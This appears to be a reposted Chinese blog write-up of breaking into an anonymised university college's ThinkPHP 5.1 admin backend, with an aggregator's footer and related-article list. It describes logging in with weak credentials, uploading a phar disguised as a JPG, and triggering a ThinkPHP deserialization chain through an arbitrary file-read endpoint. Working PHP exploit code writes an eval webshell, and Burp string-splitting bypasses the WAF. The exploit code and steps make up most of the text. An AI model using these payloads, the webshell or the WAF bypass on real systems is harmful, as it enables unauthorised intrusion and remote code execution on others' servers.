某某大学某学院后台Phar反序列化GetShell

这篇具有很好参考价值的文章主要介绍了某某大学某学院后台Phar反序列化GetShell。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

觉得这个洞还算有点意思,可以记录一下

首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS

分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

通过APP、Public得到后台访问路径/bhadmin

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

后台登陆存在弱口令(弱口令真是永远滴神):admin/123456

分析源码,发现在System控制器下有一个showlog()方法

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

	public function showlog()
	{
		$path    = input('post.path','');
		if ($path == '') return json(0);
        if (!file_exists($path)) return json('文件不存在');
        $content = file_get_contents($path,false);
        return json($content);
    }

$path接收的是post传参,参数名是path,如果$path为空,返回为0,否则会检测该文件是否存在,如果存在则file_get_content()读取成json格式返回。input()方法功能如下:

if (!function_exists('input')) {
    /**
     * 获取输入数据 支持默认值和过滤
     * @param string    $key 获取的变量名
     * @param mixed     $default 默认值
     * @param string    $filter 过滤方法
     * @return mixed
     */
    function input($key = '', $default = null, $filter = '')
    {
        if (0 === strpos($key, '?')) {
            $key = substr($key, 1);
            $has = true;
        }

        if ($pos = strpos($key, '.')) {
            // 指定参数来源
            $method = substr($key, 0, $pos);
            if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
                $key = substr($key, $pos + 1);
            } else {
                $method = 'param';
            }
        } else {
            // 默认为自动判断
            $method = 'param';
        }

        if (isset($has)) {
            return request()->has($key, $method, $default);
        } else {
            return request()->$method($key, $default, $filter);
        }
    }
}

showlog()方法参数可控,并且$path传入file_exists()file_get_contents(),首先这里是一个任意文件读取,但是重点不是这个哈,并且ThinkPHP 5.1.x在网上有很多公开的反序列化利用链。众所周知。Phar在压缩文件包时,会以序列化的形式存储用户自定义的meta-data,配合phar://协议就能在某些函数(一般是文件操作函数)等参数可控的情况下实现自动反序列化操作。

对Phar反序列化有不理解的可以参考我的这篇文章:由浅入深理解PHP反序列化漏洞

那么我们如果在后台传入一个构造好的phar文件,然后在$path的位置使用Phar://协议访问改文件,即可触发phar反序列化showlog方法的访问路由:/bhadmin/system/showlog

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

然后需要找到一个上传点,并且能获取上传文件的绝对路径。

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

添加资料这里有个编辑器,可以上传图片预览,可获得绝对路径

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

综上所述即可构造Phar反序列化GetShell,直接用网上公开的链子

<?php
namespace think{
    abstract class Model{
        private $withAttr = [];
        private $data = [];
        public function __construct($function,$parameter){
            $this->data['smi1e'] = $parameter;
            $this->withAttr['smi1e'] = $function;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {}
}

namespace think\process\pipes {
    use Phar;
    use think\model\Pivot;
    class Windows{
        private $files = [];
        public function __construct($function, $parameter){
            $this->files = [new Pivot($function, $parameter)];
        }
    }


    $function = 'assert';
    $parameter = 'phpinfo()';
    $a = new Windows($function, $parameter);
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

同目录下随便放一张名为pic.jpg的图片,运行该文件,将生成的test.phar修改后缀为test.jpg然后上传

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

回到showlog()方法处,直接触发:触发:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘
构造写入Shell

<?php
namespace think{
    abstract class Model{
        private $withAttr = [];
        private $data = [];
        public function __construct(){
            $this->data['smi1e'] = 'D:\\xxx\\xxx\\xxx\\public\\kindedit\\attached\\image\\20230531\\d72a3676c4413.php';
            $this->data['jelly'] = '<?php @eval($_POST[m]);?>';
            $this->withAttr['smi1e'] = 'file_put_contents';
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {}
}

namespace think\process\pipes {
    use Phar;
    use think\model\Pivot;
    class Windows{
        private $files = [];
        public function __construct($function, $parameter){
            $this->files = [new Pivot($function, $parameter)];
        }
    }


    $function = 'assert';
    $parameter = 'phpinfo()';
    $a = new Windows($function,$parameter);
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘
成功写入shell,但是蚁剑连接还是报错,猜测有waf

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘
把蚁剑流量代理到Burp

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

测试发现确实是有WAF

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

但是经过多次测试发现这个waf比较友好,过滤了@base64_decode关键字,可以绕过,base64_decode可以使用拼接绕过,@直接可以去掉,不影响功能,直接使用Burp的匹配/替换功能

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘
绕过waf之后即可成功连接shell

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘
某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘

如果觉得这样代理到burp做替换不太方便,也可以上传冰蝎的AES加密shell,就不用绕过waf

某某大学某学院后台Phar反序列化GetShell,漏洞挖掘,Phar反序列化,漏洞挖掘文章来源地址https://www.toymoban.com/news/detail-620001.html

到了这里,关于某某大学某学院后台Phar反序列化GetShell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 序列化,反序列化之实例

    介绍文章 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用 __call() 在对象上下文中调用不

    2024年02月14日
    浏览(44)
  • 协议,序列化,反序列化,Json

    协议究竟是什么呢?首先得知道主机之间的网络通信交互的是什么数据,像平时使用聊天APP聊天可以清楚,用户看到的不仅仅是聊天的文字,还能够看到用户的头像昵称等其他属性。也就可以证明网络通信不仅仅是交互字符串那么简单。事实上网络通信还可能会通过一个结构

    2024年02月13日
    浏览(39)
  • 【网络】协议定制+序列化/反序列化

    如果光看定义很难理解序列化的意义,那么我们可以从另一个角度来推导出什么是序列化, 那么究竟序列化的目的是什么? 其实序列化最终的目的是为了对象可以 跨平台存储,和进行网络传输 。而我们进行跨平台存储和网络传输的方式就是IO,而我们的IO支持的数据格式就是

    2024年02月08日
    浏览(41)
  • Qt 对象序列化/反序列化

    阅读本文大概需要 3 分钟 日常开发过程中,避免不了对象序列化和反序列化,如果你使用 Qt 进行开发,那么有一种方法实现起来非常简单和容易。 我们知道 Qt 的元对象系统非常强大,基于此属性我们可以实现对象的序列化和反序列化操作。 比如有一个学生类,包含以下几

    2024年02月13日
    浏览(41)
  • 协议定制 + Json序列化反序列化

    1.1 结构化数据 协议是一种 “约定”,socket api的接口, 在读写数据时,都是按 “字符串” 的方式来发送接收的。如果我们要传输一些\\\"结构化的数据\\\" 怎么办呢? 结构化数据: 比如我们在QQ聊天时,并不是单纯地只发送了消息本身,是把自己的头像、昵称、发送时间、消息本身

    2024年02月09日
    浏览(43)
  • Java序列化和反序列化

    目录 一、序列化和反序列化 二、Java序列化演示 三、反序列化漏洞 1、含义 ​序列化就是内存中的对象写入到IO流中,保存的格式可以是二进制或者文本内容。反序列化就是IO流还原成对象。 2、用途 (1)传输网络对象 (2)保存Session 1、序列化 java.io.ObjectOutputStream代表对象

    2023年04月25日
    浏览(37)
  • 【Linux】序列化与反序列化

    目录 前言 什么是应用层? 再谈\\\"协议\\\"  什么是序列化和反序列化 网络版计算器 整体流程实现 Sock.hpp的实现 TcpServer.hpp的实现 Protocol.hpp的实现 CalServer.cc的编写 CalClient.cc的编写 整体代码           本章是属于TCP/UDP四层模型中的第一层 应用层 相关的内容。主要介绍了序列

    2024年02月10日
    浏览(39)
  • 【Linux】序列化和反序列化

    在网络编程中,直接使用 结构体 进行数据传输会出错,因为 本质上socket无法传输结构体 ,我们只有将结构体装换为字节数组,或者是字符串格式来传输,然后对端主机收到了数据,再将其转化为结构体,这就是序列化和反序列化的过程! 序列化 (Serialization)是将对象的状态

    2024年02月10日
    浏览(40)
  • Unity-序列化和反序列化

    序列化是指把对象转换为字节序列的过程,而反序列化是指把字节序列恢复为对象的过程。序列化最主要的用途就是传递对象和保存对象。 在Unity中保存和加载、prefab、scene、Inspector窗口、实例化预制体等都使用了序列化与反序列化。 1 自定义的具有Serializable特性的非抽象、

    2024年01月24日
    浏览(54)
  • 什么是序列化和反序列化?

    JSON(JavaScript Object Notation)和XML(eXtensible Markup Language)是两种常用的数据交换格式,用于在不同系统之间传输和存储数据。 JSON是一种轻量级的数据交换格式,它使用易于理解的键值对的形式表示数据。JSON数据结构简单明了,易于读写和解析,是基于JavaScript的一种常用数据

    2024年02月09日
    浏览(54)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包